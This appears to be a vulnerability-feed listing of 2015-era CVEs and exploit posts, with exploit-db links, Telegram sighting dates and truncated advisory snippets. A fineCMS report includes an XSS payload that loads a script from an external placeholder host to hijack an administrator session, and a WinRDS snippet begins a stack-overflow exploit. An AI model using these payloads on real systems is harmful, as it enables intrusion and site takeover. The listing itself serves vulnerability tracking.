CVE-2015-6104

creationtimestamp| type| source ---|---|--- 2015-11-16 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/38713 2026-07-29 12:01:37+00:00| seen| Telegram/PjuRxPzvGjVabf4gPWbBh7F8WJi6OJk2WzpXql3KPPBgA 2026-07-30 00:01:58+00:00| seen| Telegram/PjuRxPzvGjVabf4gPWbBh7F8WJi6OJk2WzpXql3KPPB...

CVE-2015-7891

creationtimestamp| type| source ---|---|--- 2015-10-28 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/38557...

Reflected Cross-Site Scripting (XSS) in iTop

Advisory ID: HTB23268 Product: iTop Vendor: Combodo SARL Vulnerable Versions: 2.1.0-2127 and probably prior Tested Version: 2.1.0-2127 Advisory Publication: July 29, 2015 without technical details Vendor Notification: July 29, 2015 Vendor Patch: July 30, 2015 Public Disclosure: September 23, 2015...

0101SHOP CMS 商城模板存在SQL注入漏洞

CMS在处理浏览器提交的数据时使用filterPara函数过滤，这个函数接着调用了PreventSqlin和Checkxss两个函数进行字符过滤，PreventSqlin用来过滤SQL注入语句，而Checkxss是用来过滤跨站输入。 关键就是在PreventSqlin函数 /inc/AspCmsCommonFun.asp 函数内容如下： Function preventSqlincontent dim sqlStr,sqlArray,i,speStr...

Vulnerability in Newphoria MEGAPHONE MUSIC application

Newphoria MEGAPHONE MUSIC application for Android and iOS is a suite of music player applications based on the Android and iOS platforms from Newphoria Japan. A security vulnerability exists in the Newphoria MEGAPHONE MUSIC application for Android and iOS. The vulnerability can be exploited by an...

CVE-2015-2507

creationtimestamp| type| source ---|---|--- 2015-09-22 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/38279 2026-07-29 12:01:24+00:00| seen| Telegram/7S6GTcGTrOkazNYM6aCjvvQCh58ZZ0xQJO4nXoU5wy4UXQ 2026-07-30 00:01:53+00:00| seen|...

CVE-2015-2366

creationtimestamp| type| source ---|---|--- 2015-09-22 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/38266 2026-07-29 12:01:43+00:00| seen| Telegram/PjuRxPzvGjVabf4gPWbBh7F8WJi6OJk2WzpXql3KPPBgA 2026-07-30 00:02:00+00:00| seen| Telegram/PjuRxPzvGjVabf4gPWbBh7F8WJi6OJk2WzpXql3KPPB...

CVE-2015-2517

creationtimestamp| type| source ---|---|--- 2015-09-22 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/38278 2026-07-29 12:01:15+00:00| seen| Telegram/7S6GTcGTrOkazNYM6aCjvvQCh58ZZ0xQJO4nXoU5wy4UXQ 2026-07-30 00:01:50+00:00| seen|...

CVE-2015-1723

creationtimestamp| type| source ---|---|--- 2015-09-22 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/38273 2026-07-29 12:01:28+00:00| seen| Telegram/7S6GTcGTrOkazNYM6aCjvvQCh58ZZ0xQJO4nXoU5wy4UXQ 2026-07-30 00:01:55+00:00| seen|...

CVE-2015-2508

creationtimestamp| type| source ---|---|--- 2015-09-15 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/38198 2026-07-29 12:01:29+00:00| seen| Telegram/7S6GTcGTrOkazNYM6aCjvvQCh58ZZ0xQJO4nXoU5wy4UXQ 2026-07-30 01:01:16+00:00| seen|...

CVE-2015-2525

creationtimestamp| type| source ---|---|--- 2015-09-15 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/38200 2026-07-29 12:01:43+00:00| seen| Telegram/PjuRxPzvGjVabf4gPWbBh7F8WJi6OJk2WzpXql3KPPBgA 2026-07-30 00:02:00+00:00| seen| Telegram/PjuRxPzvGjVabf4gPWbBh7F8WJi6OJk2WzpXql3KPPB...

CVE-2015-7309

creationtimestamp| type| source ---|---|--- 2015-09-15 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/38196 2018-05-29 15:50:33+00:00| seen| https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/boltfileupload.rb 2025-02-06 03:13:42+00:00| seen|...

CVE-2015-5995

creationtimestamp| type| source ---|---|--- 2015-09-03 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/41402...

fineCMS免费版xss getshell

简要描述： xss 详细说明： 注册一个用户，在发表文章的地方发表文章 在编辑器里加入一张图片 用firebug修改图片地址 加入onerror属性 onerror=document.body.appendChilddocument.createElement'script'.src='//xxx.xxx/a.js' 因为发表的文章需要后台管理员审核的， 当管理员审核的时候触发漏洞 然后是getshell 有了后台xss都好办 在修改版权处 保存以后 漏洞证明：...

Acunetix Web Vulnerability Scanner 9.5 - Crash PoC Exploit

Exploit for windows platform in category dos / poc !/usr/bin/env python Title : Acunetix Web Vulnerability Scanner 9.5 - Crash Proof Of Concept Website : https://www.acunetix.com Tested : win 7 / win 8.1 / win vista Author : Hadi Zomorodi Monavar Email : email protected 1 . run python code : pyth...

WordPress Plugin dzs-zoomsounds 2.0 - Arbitrary File Upload

Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability Vendor : http://digitalzoomstudio.net/docs/wpzoomsounds/ Author: bl4ck-dz Date: 28/05/2015 Infected File: upload.php Category: webapps Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ Tested on : Linux | Windows...

SkillBase TalentBase /invoker/JMXInvokerServlet 文件上传漏洞

No description provided by source...

WebUI 1.5b6 - Remote Code Execution

Author: TUNISIAN CYBER + Title: WebUI Remote Code Execution Vulnerability + Date: 21-04-2015 + Vendor: https://github.com/baram01/webui/ + Type: WebAPP + Tested on: KaliLinux Debian + Twitter: @TCYB3R + Proof of concept: http://i.imgur.com/co9Qx0n.png...

WebGate WinRDS 2.0.8 StopSiteAllChannel Stack Overflow Exploit

WebGate WinRDS version 2.0.8 suffers from a StopSiteAllChannel stack overflow vulnerability. WebGate WinRDS WESPPlayback.WESPPlaybackCtrl.1 StopSiteAllChannel Stack Buffer Overflow Vulnerability 0Day var buff1 = ""; var nops = ""; var buff2 = ""; for i=0;i128; i++ buff1 += "B"; nseh = "\xeb\x08PD...

Metinfo v5.2 /include/thumb.php 信息泄露漏洞

No description provided by source...